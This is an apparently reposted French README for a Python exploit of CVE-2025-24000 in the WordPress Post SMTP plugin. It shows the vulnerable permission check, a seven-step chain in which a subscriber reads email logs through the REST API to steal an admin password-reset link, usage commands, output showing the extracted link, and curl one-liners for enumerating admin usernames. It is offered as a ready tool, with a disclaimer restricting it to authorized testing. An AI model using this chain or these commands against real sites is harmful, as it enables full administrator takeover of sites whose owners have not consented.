CVE-2025-24000 — Exploit d'élévation de privilèges Post SMTP

Aperçu

Ce script exploite CVE-2025-24000, une vulnérabilité de contrôle d'accès brisé de sévérité élevée dans le plugin WordPress Post SMTP (versions ≤ 3.2.0). Il permet à tout utilisateur authentifié avec un compte à faibles privilèges (par exemple, Abonné) d'accéder aux journaux d'emails de l'API REST du plugin, de voler un lien de réinitialisation de mot de passe admin, et de prendre le contrôle du compte administrateur.

• CVE: CVE-2025-24000
• Plugin: Post SMTP (WPExperts)
• Versions affectées : ≤ 3.2.0
• Corrigé dans : 3.3.0
• Score CVSS : 8.8 (Élevé)
• Impact : Élévation de privilèges → Prise de contrôle totale du compte admin

Comment ça marche

La vulnérabilité provient d'une vérification de permissions défaillante dans l'API REST du plugin :

// Vulnerable code (≤ 3.2.0)
public function get_logs_permission() {
    return is_user_logged_in();
}

Tout utilisateur connecté, quel que soit son rôle, peut accéder aux endpoints destinés uniquement aux administrateurs :

• GET /wp-json/psd/v1/get-logs
• GET /wp-json/psd/v1/get-details?id=<id>&type=show_view
• POST /wp-json/psd/v1/resend-email

Chaîne d'exploitation

1. Enregistrer ou utiliser un compte WordPress existant à faibles privilèges (Abonné)
2. Se connecter et obtenir un nonce REST WP depuis /wp-admin/
3. Déclencher une réinitialisation de mot de passe pour le compte admin
4. Lire les journaux d'emails via l'API REST non protégée
5. Extraire le lien de réinitialisation du mot de passe depuis le journal
6. Utiliser le lien de réinitialisation pour définir un nouveau mot de passe admin
7. Se connecter à /wp-admin en tant qu'administrateur

Prérequis

• Python 3.x
• requests library (pip install requests)
• Un compte enregistré sur le site WordPress cible (un niveau Abonné suffit)

Utilisation

python3 exploit_cve_2025_24000.py \
  --url <wordpress_base_url> \
  --username <your_subscriber_username> \
  --password <your_subscriber_password> \
  --email <admin_username_or_email>

Arguments

Exemple

python3 exploit_cve_2025_24000.py \
  --url http://samurai.local/samurai/ \
  --username attacker \
  --password Password1 \
  --email shogun

Sortie attendue

[*] Logging in as attacker...
[+] Logged in successfully as attacker
[*] Fetching WP REST nonce from wp-admin...
[+] Got nonce: a5f398e081
[*] Triggering password reset for: shogun
[+] Password reset triggered.
[*] Fetching email logs...
[+] Got logs response.
[*] Checking 1 email(s) for reset link...

[+] RESET LINK FOUND:
    http://samurai.local/samurai/wp-login.php?action=rp&key=XXXXXXXXXXXX&login=shogun

[*] Visit the link above to set a new admin password and take over the site.

Conseils

• Si le nom d'utilisateur admin est inconnu, énumérez-le via l'API REST WP :
  root@kitploit:~

  curl -s 'http://target.local/wp-json/wp/v2/users' | python3 -m json.tool
  

  Ou via l'énumération d'auteur :
  root@kitploit:~

  curl -s 'http://target.local/?author=1' -I | grep -i location
  

• Le lien de réinitialisation est à usage unique et expire — utilisez-le immédiatement après l'extraction
• Si les journaux sont vides, assurez-vous que le site est configuré pour envoyer des emails via Post SMTP (pas via PHP mail)

Références

• Avis Patchstack : https://patchstack.com/database/wordpress/plugin/post-smtp/vulnerability/wordpress-post-smtp-3-2-0-privilege-escalation-vulnerability
• Avis GitHub : https://github.com/advisories/GHSA-2fgh-78wf-f9v9
• Procédure de reproduction : https://medium.com/@security_56355/from-subscriber-to-admin-reproducing-cve-2025-24000-in-wordpress-post-smtp-plugin-8105ff85e274
• NVD : https://nvd.nist.gov/vuln/detail/CVE-2025-24000

Avertissement

Cet outil est destiné uniquement aux tests de pénétration autorisés et à des fins éducatives. Ne l'utilisez pas contre des systèmes pour lesquels vous n'avez pas d'autorisation explicite de tester.